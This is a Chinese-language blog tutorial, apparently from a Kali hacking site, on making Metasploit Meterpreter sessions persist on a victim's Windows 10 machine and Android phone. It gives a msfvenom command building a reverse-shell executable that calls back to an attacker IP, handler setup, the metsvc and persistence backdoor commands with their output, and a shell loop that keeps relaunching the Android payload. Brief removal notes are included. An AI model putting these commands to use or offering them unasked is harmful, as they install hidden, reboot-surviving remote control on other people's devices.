持久化

在msf生成的shell中,无论是是android还是windows在关闭软件或者设备重启后,我们的会话进程都会自然而然的关闭。要想得到会话,必须用户再次启动我们的shell才能得到会话。那么,我们该如何解决这一问题呢?
持久化

msf/Windows持久化

1、metsvc:通过服务启动,是 Meterpreter 下的一个脚本;

运行 run metsvc 将会在目标主机上以 Meterpreter 的服务的形式注册在服务列表中,并开机自动自动;

运行 run metsvc -r 卸载目标主机上的 Meterpreter 服务;

原理:设置的后门在目标机启动后会自动开启一个服务,等待连接;这个有点正向代理的意思,自己开个端口等待接入控制;

优点:命令简单,不必设置太多参数,即不需要设置反弹到的主机IP、端口等,直接 run metsvc -A;

缺点:如何其他人知道服务器的ip,都可以利用这个后门开启的服务来控制服务器【扫描器发现】;

2、persistence:通过启动项启动,也是 Meterpreter 下的一个脚本;

移除后门:删除注册表中的值和上传的 VBScript 文件,具体位置执行脚本后有提示。

原理:有点反向代理的意思;

优点:由于是主动献殷勤,目标机器上的防火墙对于此等操作一般均会放行,后门的存活率较高;

环境介绍

  • vps(msf端口)
  • win10 (受害者)

生成shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f exe > ~/root/bbskali.exe 

配置msf

msf exploit(handler) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.100
lhost => 192.168.43.100
msf exploit(handler) > exploit 

metsvc利用

meterpreter > run metsvc

[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Go0s\AppData\Local\Temp\HLDIkkGKSJ...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
    Cannot open service manager (0x00000005)

拿到 Meterpreter 会话,重新执行 run metsvc -A即可。

移除服务

meterpreter > run metsvc -r

利用 persistence

meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.43.100

重启目标机,仍然上线。

其脚本主要做的工作:

①、上传后门到目标机器【meterpreter的upload命令】;

②、再写自启动注册表【reg】;

移除

根据执行脚本时提示的vbs文件和注册表位置,进行删除后门;

Executing script C:\Users\Go0s\AppData\Local\Temp\SAaYfc.vbs
Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\irZnsVkfdRUZIB

android持久

首先,我们生成android shell 并运行。如图,我们成功得到会话。
msf

利用cd命令,切换到手机的根目录。
这里以小米手机为例:
cd /storage/emulated/0

在此目录下,我们新建一个shell.sh文件,写入内容如下:
新建命令:edit shell.sh
内容:

#!/bin/bash
while true
do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

输入:wq保存即可。

在终端执行shell--sh shell.sh

这样,我们就能得到持久的会话了!

Last modification:February 18th, 2020 at 05:15 pm
正在沿街乞讨中……